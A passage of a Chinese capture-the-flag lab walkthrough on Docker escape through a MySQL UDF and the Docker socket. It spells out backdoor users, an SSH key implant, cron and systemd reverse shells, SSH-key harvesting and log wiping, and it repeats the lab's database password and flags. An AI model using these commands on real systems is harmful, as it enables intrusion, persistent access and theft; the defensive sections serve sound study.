操作系统版本 确定可用的提权漏洞
内核版本 检查内核提权漏洞(如 DirtyPipe、DirtyCow)
用户列表 识别高价值目标账户
SSH 配置 确定 SSH 后门植入方式
定时任务 寻找持久化机会
已安装服务 识别可利用的服务

7.2 宿主机提权技术

7.2.1 检查 sudo 配置

注意:需要通过 Docker API 创建一次性容器来读取宿主机文件。

bash复制

创建容器读取 sudoers 文件

mysql -h 10.10.1.187 -u root -pxzPzdsKJmUMdPand --skip-ssl -N \

-e "SELECT '{\"Image\":\"mysql:5.7\",\"Cmd\":[\"cat\",\"/host/etc/sudoers\"],\"HostConfig\":{\"Binds\":[\"/:/host\"]}}' INTO OUTFILE '/tmp/sudoers_payload.json';" mysql

mysql -h 10.10.1.187 -u root -pxzPzdsKJmUMdPand --skip-ssl -N \

-e "SELECT sys_exec('/usr/bin/nohup /bin/sh -p -c \"curl -s -X POST --unix-socket /var/run/docker.sock -H Content-Type:application/json -d @/tmp/sudoers_payload.json http://localhost/containers/create\\" > /tmp/sudoers_create.txt 2>&1');" mysql

mysql -h 10.10.1.187 -u root -pxzPzdsKJmUMdPand --skip-ssl -N \

-e "SELECT sys_exec('chmod 644 /tmp/sudoers_create.txt');" mysql

mysql -h 10.10.1.187 -u root -pxzPzdsKJmUMdPand --skip-ssl -N \

-e "SELECT LOAD_FILE('/tmp/sudoers_create.txt');" mysql

获取容器 ID 后启动并获取日志

CONTAINER_ID='返回的容器ID'

mysql -h 10.10.1.187 -u root -pxzPzdsKJmUMdPand --skip-ssl -N \

-e "SELECT sys_exec('/usr/bin/nohup /bin/sh -p -c \"curl -s -X POST --unix-socket /var/run/docker.sock http://localhost/containers/$CONTAINER_ID/start\\" > /tmp/sudoers_start.txt 2>&1');" mysql

sleep 2

mysql -h 10.10.1.187 -u root -pxzPzdsKJmUMdPand --skip-ssl -N \

-e "SELECT sys_exec('/usr/bin/nohup /bin/sh -p -c \"curl -s --unix-socket /var/run/docker.sock http://localhost/containers/$CONTAINER_ID/logs?stdout=true\\" > /tmp/sudoers.txt 2>&1');" mysql

mysql -h 10.10.1.187 -u root -pxzPzdsKJmUMdPand --skip-ssl -N \

-e "SELECT sys_exec('chmod 644 /tmp/sudoers.txt');" mysql

读取 sudo 配置

mysql -h 10.10.1.187 -u root -pxzPzdsKJmUMdPand --skip-ssl -N \

-e "SELECT LOAD_FILE('/tmp/sudoers.txt');" mysql

常见的 sudo 提权配置错误

配置 风险
NOPASSWD: ALL 无需密码执行任意命令
(ALL) /usr/bin/vim 通过 vim 逃逸获取 shell
(ALL) /usr/bin/find 通过 find -exec 执行命令
env_keep+=LD_PRELOAD 通过 LD_PRELOAD 注入恶意库

7.2.2 检查内核漏洞

bash复制

获取内核版本

mysql -h 10.10.1.187 -u root -pxzPzdsKJmUMdPand --skip-ssl -N \

-e "SELECT LOAD_FILE('/tmp/kernel.txt');" mysql

常见的 Linux 内核提权漏洞

CVE 名称 影响版本 利用难度
CVE-2022-0847 DirtyPipe Linux 5.8+
CVE-2021-4034 PwnKit Polkit < 0.120
CVE-2021-3156 Baron Samedit sudo < 1.9.5p2
CVE-2016-5195 DirtyCow Linux 2.6.22-4.8

7.2.3 利用 Docker 特权访问

由于我们已经可以通过 Docker Socket 创建特权容器,实际上已经拥有了宿主机的 root 权限。可以通过创建一次性容器来修改宿主机文件:

bash复制

通过 Docker API 创建容器,添加后门用户到宿主机的 /etc/passwd

mysql -h 10.10.1.187 -u root -pxzPzdsKJmUMdPand --skip-ssl -N \

-e "SELECT '{\"Image\":\"mysql:5.7\",\"Cmd\":[\"sh\",\"-c\",\"echo backdoor:x:0:0::/root:/bin/bash >> /host/etc/passwd\"],\"HostConfig\":{\"Binds\":[\"/:/host\"]}}' INTO OUTFILE '/tmp/backdoor_payload.json';" mysql

mysql -h 10.10.1.187 -u root -pxzPzdsKJmUMdPand --skip-ssl -N \

-e "SELECT sys_exec('/usr/bin/nohup /bin/sh -p -c \"curl -s -X POST --unix-socket /var/run/docker.sock -H Content-Type:application/json -d @/tmp/backdoor_payload.json http://localhost/containers/create\\" > /tmp/backdoor_create.txt 2>&1');" mysql

mysql -h 10.10.1.187 -u root -pxzPzdsKJmUMdPand --skip-ssl -N \

-e "SELECT sys_exec('chmod 644 /tmp/backdoor_create.txt');" mysql

mysql -h 10.10.1.187 -u root -pxzPzdsKJmUMdPand --skip-ssl -N \

-e "SELECT LOAD_FILE('/tmp/backdoor_create.txt');" mysql

启动容器执行命令

CONTAINER_ID='返回的容器ID'

mysql -h 10.10.1.187 -u root -pxzPzdsKJmUMdPand --skip-ssl -N \

-e "SELECT sys_exec('/usr/bin/nohup /bin/sh -p -c \"curl -s -X POST --unix-socket /var/run/docker.sock http://localhost/containers/$CONTAINER_ID/start\\" > /tmp/backdoor_start.txt 2>&1');" mysql

mysql -h 10.10.1.187 -u root -pxzPzdsKJmUMdPand --skip-ssl -N \

-e "SELECT sys_exec('chmod 644 /tmp/backdoor_start.txt');" mysql

mysql -h 10.10.1.187 -u root -pxzPzdsKJmUMdPand --skip-ssl -N \

-e "SELECT LOAD_FILE('/tmp/backdoor_start.txt');" mysql

说明:启动成功时返回空。后门用户 backdoor 已添加到宿主机的 /etc/passwd,可以使用 su backdoor 切换到该用户(无需密码)。

7.3 APT 持久化技术

在真实的 APT 攻击中,攻击者会部署多种持久化机制,确保即使部分后门被发现,仍能保持对目标的访问。

重要提示 :本节中所有涉及 /host/ 路径的命令都需要通过 Docker API 创建一次性容器来执行。具体方法参考 7.1.2 节和 7.2.3 节的示例。以下命令中的 Cmd 字段展示了需要在容器中执行的命令。

7.3.1 SSH 密钥后门

最隐蔽的持久化方式之一:将攻击者的 SSH 公钥添加到目标用户的 authorized_keys 文件中。

步骤 1:在 Kali 上生成 SSH 密钥对

bash复制

生成 SSH 密钥对(私钥保存在 Kali 本地)

ssh-keygen -t rsa -b 2048 -f /tmp/backdoor_key -N "" -q

查看生成的密钥

ls -la /tmp/backdoor_key*

-rw------- 1 kali kali 1823 Jan 21 09:55 /tmp/backdoor_key # 私钥

-rw-r--r-- 1 kali kali 392 Jan 21 09:55 /tmp/backdoor_key.pub # 公钥

读取公钥内容

cat /tmp/backdoor_key.pub

步骤 2:将公钥写入宿主机

bash复制

获取公钥(注意:需要将公钥内容替换到下面的 JSON 中)

PUBKEY=$(cat /tmp/backdoor_key.pub)

echo $PUBKEY

使用 MySQL 直接写入 JSON payload(将 YOUR_PUBLIC_KEY 替换为实际公钥)

mysql -h 10.10.1.187 -u root -pxzPzdsKJmUMdPand --skip-ssl -N \

-e "SELECT '{\"Image\":\"mysql:5.7\",\"Cmd\":[\"/bin/sh\",\"-c\",\"mkdir -p /host/root/.ssh && echo YOUR_PUBLIC_KEY >> /host/root/.ssh/authorized_keys && chmod 600 /host/root/.ssh/authorized_keys && chmod 700 /host/root/.ssh\"],\"HostConfig\":{\"Binds\":[\"/:/host\"]}}' INTO OUTFILE '/tmp/ssh_backdoor.json';" mysql

创建容器

mysql -h 10.10.1.187 -u root -pxzPzdsKJmUMdPand --skip-ssl -N \

-e "SELECT sys_exec('/usr/bin/nohup /bin/sh -p -c \"curl -s -X POST --unix-socket /var/run/docker.sock -H Content-Type:application/json -d @/tmp/ssh_backdoor.json http://localhost/containers/create?name=ssh_backdoor\\" > /tmp/ssh_create.txt 2>&1');" mysql

设置文件权限并读取结果

mysql -h 10.10.1.187 -u root -pxzPzdsKJmUMdPand --skip-ssl -N \

-e "SELECT sys_exec('chmod 644 /tmp/ssh_create.txt');" mysql

mysql -h 10.10.1.187 -u root -pxzPzdsKJmUMdPand --skip-ssl -N \

-e "SELECT LOAD_FILE('/tmp/ssh_create.txt');" mysql

返回结果

json复制

{"Id":"...容器ID...","Warnings":[]}

步骤 3:启动容器执行命令

bash复制

从上一步返回结果中获取容器 ID,启动容器

CONTAINER_ID='上一步返回的容器ID'

mysql -h 10.10.1.187 -u root -pxzPzdsKJmUMdPand --skip-ssl -N \

-e "SELECT sys_exec('/usr/bin/nohup /bin/sh -p -c \"curl -s -X POST --unix-socket /var/run/docker.sock http://localhost/containers/$CONTAINER_ID/start\\" > /tmp/ssh_start.txt 2>&1');" mysql

检查启动结果(可选,成功时返回空)

mysql -h 10.10.1.187 -u root -pxzPzdsKJmUMdPand --skip-ssl -N \

-e "SELECT sys_exec('chmod 644 /tmp/ssh_start.txt');" mysql

mysql -h 10.10.1.187 -u root -pxzPzdsKJmUMdPand --skip-ssl -N \

-e "SELECT LOAD_FILE('/tmp/ssh_start.txt');" mysql

说明:Docker API 的 /containers/{id}/start 成功时返回空,文件内容为空表示启动成功。

步骤 4:验证 SSH 后门

bash复制

设置私钥权限

chmod 600 /tmp/backdoor_key

使用私钥 SSH 登录宿主机

ssh -o StrictHostKeyChecking=no -i /tmp/backdoor_key root@10.10.1.187

验证成功后可以看到:

root@localhost:~# whoami

root

root@localhost:~# cat /flag

flag3{e4bab86e-5c8b-4133-a661-bb343d452ce3}

SSH 后门的优势

  • 流量加密,难以被 IDS 检测
  • 使用标准端口(22),不易引起怀疑
  • 无需修改系统二进制文件
  • 私钥保存在攻击机,目标机只有公钥

7.3.2 Cron 定时任务后门

利用 cron 定时任务实现持久化反弹 shell。

注意 :由于我们已经通过 SSH 密钥后门获得了宿主机的直接访问权限,可以直接通过 SSH 操作宿主机,无需再通过 Docker API。

方法一:通过 SSH 后门直接操作(推荐)

bash复制

先通过 SSH 后门登录宿主机

ssh -i /tmp/backdoor_key root@10.10.1.187

添加每分钟执行的反弹 shell cron 任务

echo '* * * * * root /bin/bash -c "/bin/bash -i >& /dev/tcp/10.10.1.79/4444 0>&1"' >> /etc/crontab

验证 cron 任务已添加

tail -3 /etc/crontab

方法二:通过 Docker API 操作

bash复制

使用 MySQL 直接写入 JSON payload

mysql -h 10.10.1.187 -u root -pxzPzdsKJmUMdPand --skip-ssl -N \

-e "SELECT '{\"Image\":\"mysql:5.7\",\"Cmd\":[\"/bin/sh\",\"-c\",\"echo \\\"* * * * * root /bin/bash -c /bin/bash -i >& /dev/tcp/10.10.1.79/4444 0>&1\\\" >> /host/etc/crontab\"],\"HostConfig\":{\"Binds\":[\"/:/host\"]}}' INTO OUTFILE '/tmp/cron_backdoor.json';" mysql

创建容器

mysql -h 10.10.1.187 -u root -pxzPzdsKJmUMdPand --skip-ssl -N \

-e "SELECT sys_exec('/usr/bin/nohup /bin/sh -p -c \"curl -s -X POST --unix-socket /var/run/docker.sock -H Content-Type:application/json -d @/tmp/cron_backdoor.json http://localhost/containers/create?name=cron_backdoor\\" > /tmp/cron_create.txt 2>&1');" mysql

设置文件权限并读取结果

mysql -h 10.10.1.187 -u root -pxzPzdsKJmUMdPand --skip-ssl -N \

-e "SELECT sys_exec('chmod 644 /tmp/cron_create.txt');" mysql

mysql -h 10.10.1.187 -u root -pxzPzdsKJmUMdPand --skip-ssl -N \

-e "SELECT LOAD_FILE('/tmp/cron_create.txt');" mysql

返回结果

json复制

{"Id":"...容器ID...","Warnings":[]}

启动容器执行命令

bash复制

使用返回的容器 ID 启动容器

CONTAINER_ID='上一步返回的容器ID'

mysql -h 10.10.1.187 -u root -pxzPzdsKJmUMdPand --skip-ssl -N \

-e "SELECT sys_exec('/usr/bin/nohup /bin/sh -p -c \"curl -s -X POST --unix-socket /var/run/docker.sock http://localhost/containers/$CONTAINER_ID/start\\" > /tmp/cron_start.txt 2>&1');" mysql

检查启动结果(可选,成功时返回空)

mysql -h 10.10.1.187 -u root -pxzPzdsKJmUMdPand --skip-ssl -N \

-e "SELECT sys_exec('chmod 644 /tmp/cron_start.txt');" mysql

mysql -h 10.10.1.187 -u root -pxzPzdsKJmUMdPand --skip-ssl -N \

-e "SELECT LOAD_FILE('/tmp/cron_start.txt');" mysql

说明:Docker API 的 /containers/{id}/start 成功时返回空,文件内容为空表示启动成功。

在 Kali 上监听并验证

bash复制

开启监听(等待最多 1 分钟即可收到连接)

nc -lvnp 4444

成功连接后会看到:

listening on [any] 4444 ...

connect to [10.10.1.79] from (UNKNOWN) [10.10.1.187] 43914

bash: 无法设定终端进程组(28715): 对设备不适当的 ioctl 操作

bash: 此 shell 中无任务控制

[root@localhost ~]#

清理测试后门(验证完成后执行):

bash复制

通过 SSH 登录宿主机删除 cron 后门

ssh -i /tmp/backdoor_key root@10.10.1.187 \

"sed -i '/\\/dev\\/tcp\\/10.10.1.79\\/4444/d' /etc/crontab"

7.3.3 Systemd 服务后门

创建一个伪装成合法服务的 systemd 后门:

bash复制

创建恶意服务文件

SERVICE_FILE='[Unit]

Description=System Update Service

After=network.target

Service

Type=simple

ExecStart=/bin/bash -c "bash -i >& /dev/tcp/10.10.1.79/4445 0>&1"

Restart=always

RestartSec=60

Install

WantedBy=multi-user.target'

写入服务文件

mysql -h 10.10.1.187 -u root -pxzPzdsKJmUMdPand --skip-ssl -N \

-e "SELECT sys_exec('/usr/bin/nohup /bin/sh -c \"echo \\\"$SERVICE_FILE\\\" > /host/etc/systemd/system/system-update.service\" 2>&1');" mysql

启用服务(需要在宿主机上执行 systemctl daemon-reload)

Systemd 后门的优势

  • 开机自启动
  • 自动重启(即使被杀死)
  • 伪装成系统服务,不易被发现

7.3.4 修改 SSHD 配置

允许 root 用户通过 SSH 登录,并启用密码认证:

bash复制

修改 sshd_config

mysql -h 10.10.1.187 -u root -pxzPzdsKJmUMdPand --skip-ssl -N \

-e "SELECT sys_exec('/usr/bin/nohup /bin/sh -c \"sed -i \\\"s/PermitRootLogin.*/PermitRootLogin yes/\\\" /host/etc/ssh/sshd_config\" 2>&1');" mysql

mysql -h 10.10.1.187 -u root -pxzPzdsKJmUMdPand --skip-ssl -N \

-e "SELECT sys_exec('/usr/bin/nohup /bin/sh -c \"sed -i \\\"s/PasswordAuthentication.*/PasswordAuthentication yes/\\\" /host/etc/ssh/sshd_config\" 2>&1');" mysql

7.3.5 创建隐藏用户

创建一个 UID 为 0 的隐藏用户(与 root 具有相同权限):

bash复制

生成密码哈希(密码为 "P@ssw0rd")

使用 openssl: openssl passwd -6 -salt xyz P@ssw0rd

PASSWD_HASH='6xyz$...' # 实际哈希值

添加隐藏用户到 /etc/passwd 和 /etc/shadow

mysql -h 10.10.1.187 -u root -pxzPzdsKJmUMdPand --skip-ssl -N \

-e "SELECT sys_exec('/usr/bin/nohup /bin/sh -c \"echo \\\"sysadmin:x:0:0:System Administrator:/root:/bin/bash\\\" >> /host/etc/passwd\" 2>&1');" mysql

mysql -h 10.10.1.187 -u root -pxzPzdsKJmUMdPand --skip-ssl -N \

-e "SELECT sys_exec('/usr/bin/nohup /bin/sh -c \"echo \\\"sysadmin:$PASSWD_HASH:19000:0:99999:7::::\\\" >> /host/etc/shadow\" 2>&1');" mysql

7.4 横向移动准备

重要提示 :以下命令中涉及 /host/ 路径的操作,都需要通过 Docker API 创建一次性容器来执行,因为 MySQL 容器本身没有 /host 目录。具体方法参考 7.1.2 节的示例。

7.4.1 收集网络信息

扫描内网存活主机(此命令在 MySQL 容器内执行,不需要 /host):

bash复制

mysql -h 10.10.1.187 -u root -pxzPzdsKJmUMdPand --skip-ssl -N \

-e "SELECT sys_exec('/usr/bin/nohup /bin/sh -p -c \"for i in \(seq 1 254); do ping -c 1 -W 1 10.10.1.\\i 2>/dev/null | grep -q 64 && echo 10.10.1.\$i; done > /tmp/alive_hosts.txt\" 2>&1');" mysql

mysql -h 10.10.1.187 -u root -pxzPzdsKJmUMdPand --skip-ssl -N \

-e "SELECT sys_exec('chmod 644 /tmp/alive_hosts.txt');" mysql

mysql -h 10.10.1.187 -u root -pxzPzdsKJmUMdPand --skip-ssl -N \

-e "SELECT LOAD_FILE('/tmp/alive_hosts.txt');" mysql

查看 ARP 缓存(需要通过 Docker API 创建容器):

bash复制

创建容器读取宿主机 ARP 缓存

mysql -h 10.10.1.187 -u root -pxzPzdsKJmUMdPand --skip-ssl -N \

-e "SELECT '{\"Image\":\"mysql:5.7\",\"Cmd\":[\"cat\",\"/host/proc/net/arp\"],\"HostConfig\":{\"Binds\":[\"/:/host\"]}}' INTO OUTFILE '/tmp/arp_payload.json';" mysql

mysql -h 10.10.1.187 -u root -pxzPzdsKJmUMdPand --skip-ssl -N \

-e "SELECT sys_exec('/usr/bin/nohup /bin/sh -p -c \"curl -s -X POST --unix-socket /var/run/docker.sock -H Content-Type:application/json -d @/tmp/arp_payload.json http://localhost/containers/create\\" > /tmp/arp_create.txt 2>&1');" mysql

mysql -h 10.10.1.187 -u root -pxzPzdsKJmUMdPand --skip-ssl -N \

-e "SELECT sys_exec('chmod 644 /tmp/arp_create.txt');" mysql

mysql -h 10.10.1.187 -u root -pxzPzdsKJmUMdPand --skip-ssl -N \

-e "SELECT LOAD_FILE('/tmp/arp_create.txt');" mysql

启动容器并获取日志

CONTAINER_ID='返回的容器ID'

mysql -h 10.10.1.187 -u root -pxzPzdsKJmUMdPand --skip-ssl -N \

-e "SELECT sys_exec('/usr/bin/nohup /bin/sh -p -c \"curl -s -X POST --unix-socket /var/run/docker.sock http://localhost/containers/$CONTAINER_ID/start\\" > /tmp/arp_start.txt 2>&1');" mysql

sleep 2

mysql -h 10.10.1.187 -u root -pxzPzdsKJmUMdPand --skip-ssl -N \

-e "SELECT sys_exec('/usr/bin/nohup /bin/sh -p -c \"curl -s --unix-socket /var/run/docker.sock http://localhost/containers/$CONTAINER_ID/logs?stdout=true\\" > /tmp/arp.txt 2>&1');" mysql

mysql -h 10.10.1.187 -u root -pxzPzdsKJmUMdPand --skip-ssl -N \

-e "SELECT sys_exec('chmod 644 /tmp/arp.txt');" mysql

mysql -h 10.10.1.187 -u root -pxzPzdsKJmUMdPand --skip-ssl -N \

-e "SELECT LOAD_FILE('/tmp/arp.txt');" mysql

7.4.2 收集凭据

注意 :以下所有涉及 /host/ 路径的命令都需要通过 Docker API 创建一次性容器执行。这里以收集 SSH 私钥为例展示完整步骤:

bash复制

创建容器查找 SSH 私钥

mysql -h 10.10.1.187 -u root -pxzPzdsKJmUMdPand --skip-ssl -N \

-e "SELECT '{\"Image\":\"mysql:5.7\",\"Cmd\":[\"find\",\"/host/home\",\"-name\",\"id_rsa\"],\"HostConfig\":{\"Binds\":[\"/:/host\"]}}' INTO OUTFILE '/tmp/sshkeys_payload.json';" mysql

mysql -h 10.10.1.187 -u root -pxzPzdsKJmUMdPand --skip-ssl -N \

-e "SELECT sys_exec('/usr/bin/nohup /bin/sh -p -c \"curl -s -X POST --unix-socket /var/run/docker.sock -H Content-Type:application/json -d @/tmp/sshkeys_payload.json http://localhost/containers/create\\" > /tmp/sshkeys_create.txt 2>&1');" mysql

mysql -h 10.10.1.187 -u root -pxzPzdsKJmUMdPand --skip-ssl -N \

-e "SELECT sys_exec('chmod 644 /tmp/sshkeys_create.txt');" mysql

mysql -h 10.10.1.187 -u root -pxzPzdsKJmUMdPand --skip-ssl -N \

-e "SELECT LOAD_FILE('/tmp/sshkeys_create.txt');" mysql

启动容器并获取日志

CONTAINER_ID='返回的容器ID'

mysql -h 10.10.1.187 -u root -pxzPzdsKJmUMdPand --skip-ssl -N \

-e "SELECT sys_exec('/usr/bin/nohup /bin/sh -p -c \"curl -s -X POST --unix-socket /var/run/docker.sock http://localhost/containers/$CONTAINER_ID/start\\" > /tmp/sshkeys_start.txt 2>&1');" mysql

sleep 2

mysql -h 10.10.1.187 -u root -pxzPzdsKJmUMdPand --skip-ssl -N \

-e "SELECT sys_exec('/usr/bin/nohup /bin/sh -p -c \"curl -s --unix-socket /var/run/docker.sock http://localhost/containers/$CONTAINER_ID/logs?stdout=true\\" > /tmp/ssh_keys.txt 2>&1');" mysql

mysql -h 10.10.1.187 -u root -pxzPzdsKJmUMdPand --skip-ssl -N \

-e "SELECT sys_exec('chmod 644 /tmp/ssh_keys.txt');" mysql

mysql -h 10.10.1.187 -u root -pxzPzdsKJmUMdPand --skip-ssl -N \

-e "SELECT LOAD_FILE('/tmp/ssh_keys.txt');" mysql

其他凭据收集(使用相同的 Docker API 方法):

  • bash 历史记录:Cmd: ["cat", "/host/root/.bash_history"]
  • 配置文件:Cmd: ["sh", "-c", "find /host -name '*.conf' -exec grep -l password {} \\;"]

7.5 清理痕迹

在完成攻击后,APT 攻击者通常会清理日志和痕迹。

注意 :以下命令需要通过 Docker API 创建一次性容器执行,因为涉及 /host/ 路径。方法与 7.1.2 节相同。

清理命令示例(需要创建容器执行):

  • 清理 bash 历史:Cmd: ["sh", "-c", "echo '' > /host/root/.bash_history"]
  • 清理认证日志:Cmd: ["sh", "-c", "echo '' > /host/var/log/auth.log"]
  • 清理 syslog:Cmd: ["sh", "-c", "echo '' > /host/var/log/syslog"]

注意:在合法的渗透测试中,清理痕迹通常不是必需的,但了解攻击者的行为有助于防御。

7.6 持久化技术对比

技术 隐蔽性 可靠性 检测难度 推荐场景
SSH 密钥后门 5/5 5/5 长期潜伏
Cron 定时任务 3/5 4/5 定期回连
Systemd 服务 4/5 5/5 中高 持续访问
隐藏用户 2/5 5/5 备用入口
修改 SSHD 3/5 4/5 快速部署

7.7 防御建议

7.7.1 检测持久化后门

bash复制

检查异常 SSH 密钥

find /home -name "authorized_keys" -exec cat {} \;

cat /root/.ssh/authorized_keys

检查异常 cron 任务

cat /etc/crontab

ls -la /etc/cron.d/

for user in (cut -f1 -d: /etc/passwd); do crontab -l -u user 2>/dev/null; done

检查异常 systemd 服务

systemctl list-unit-files --type=service | grep enabled

ls -la /etc/systemd/system/

检查 UID 为 0 的用户

awk -F: '3 == 0 {print 1}' /etc/passwd

检查异常网络连接

netstat -antup | grep ESTABLISHED

ss -antup | grep ESTABLISHED

7.7.2 加固措施

  1. SSH 加固

bash复制

禁用 root 登录

PermitRootLogin no

禁用密码认证

PasswordAuthentication no

限制 SSH 用户

AllowUsers admin

  1. 文件完整性监控

bash复制

使用 AIDE 监控关键文件

aide --init

aide --check

  1. 日志集中管理
    • 将日志发送到远程 syslog 服务器
    • 使用 SIEM 系统进行实时监控
  2. 定期安全审计
    • 使用 Lynis 进行系统安全审计
    • 定期检查用户账户和权限

第八章 攻击链总结

8.1 完整攻击路径

8.2 Flag 汇总

Flag 位置 获取方式
flag1 flag1{75813557-25c4-456c-8a44-6a4d4c62c859} 数据库 SQL 注入提取
flag2 flag2{e25ce9d8-dc48-426c-92db-4d07899b4f75} MySQL 容器 /flag SUID nohup 提权
flag3 flag3{e4bab86e-5c8b-4133-a661-bb343d452ce3} 宿主机 /flag Docker 逃逸

8.3 涉及的安全漏洞

  1. 源码泄露:vim 交换文件未清理
  2. SQL 注入:用户输入未经充分过滤直接拼接 SQL
  3. 文件上传漏洞:允许上传 .htaccess 文件
  4. 数据库凭据泄露:环境变量中存储明文密码
  5. UDF 提权:MySQL root 权限 + secure_file_priv 未限制
  6. SUID 配置不当:nohup 不应该有 SUID 权限
  7. Docker 配置不当:容器内可访问 Docker socket

第九章 防御建议总结

9.1 开发安全

  1. 使用参数化查询防止 SQL 注入
  2. 实施严格的文件上传白名单验证
  3. 不要在代码或环境变量中存储明文密码
  4. 定期清理开发过程中产生的临时文件

9.2 系统安全

  1. 最小化 SUID 程序数量
  2. 定期审计系统权限配置
  3. 使用 Linux capabilities 替代 SUID
  4. 配置 MySQL secure_file_priv 限制文件操作

9.3 容器安全

  1. 不要将 Docker socket 挂载到容器中
  2. 使用非 root 用户运行容器
  3. 移除容器中不必要的工具和权限
  4. 配置适当的安全策略(AppArmor/SELinux)

附录:常用命令速查

bash复制

Nmap 扫描

nmap -sT -sV -p- TARGET_IP

SQL 注入测试

curl -s -X POST "http://TARGET/login" -d 'username=admin\&password= or 1=1-- '

文件上传

curl -s -X POST "http://TARGET/upload.php" -F "file=@/path/to/file"

MySQL UDF 提权

mysql -h HOST -u root -pPASS -e "CREATE FUNCTION sys_exec RETURNS INTEGER SONAME 'udf.so';"

查找 SUID 文件

find / -perm -u=s -type f 2>/dev/null

Docker API 调用

curl -s --unix-socket /var/run/docker.sock http://localhost/images/json

三.扩充

(1)装一个容器,Cs架构产生的容器在客户端

(2)Portainer不推荐

(3)大名鼎鼎prometheus普罗米修斯监控使用

(4)Container专业

(5)Navigator

(6)K3s

(7)知识导图

相关推荐
ACMer_CTGU2 小时前
解决报错curl: (35) OpenSSL SSL_connect: 连接被对方重设 in connection to download.docker.com:443
网络协议·docker·ssl
羑悻的小杀马特2 小时前
零成本神器组合:用Docker+Uptime Kuma+cpolar打造永不掉线的远程监控系统!
运维·人工智能·docker·容器
禁默2 小时前
Portainer:让 Docker 管理变简单,用cpolar突破局域网后协作更轻松
java·docker·容器·cpolar
StevenZeng学堂2 小时前
一文读懂K8S的PV和PVC以及实践攻略
运维·docker·云原生·容器·kubernetes·云计算·go
KubeSphere 云原生2 小时前
告别宕机!KubeSphere v4.1.3 联手 K8s v1.32.5,手把手教你打造“永不掉线”的云原生底座
云原生·容器·kubernetes
Bruce-li__2 小时前
2025保姆级Docker教程------一篇学会使用docker
运维·docker·容器
踢足球09292 小时前
寒假打卡:2026-01-23
数据库·sql
龙域集团2 小时前
使用最新宝塔面板安装青龙面板(Docker 版)
服务器·docker·容器
万粉变现经纪人2 小时前
如何解决 pip install pyodbc 报错 缺少 ‘cl.exe’ 或 ‘sql.h’(ODBC 头文件)问题
数据库·python·sql·网络协议·bug·ssl·pip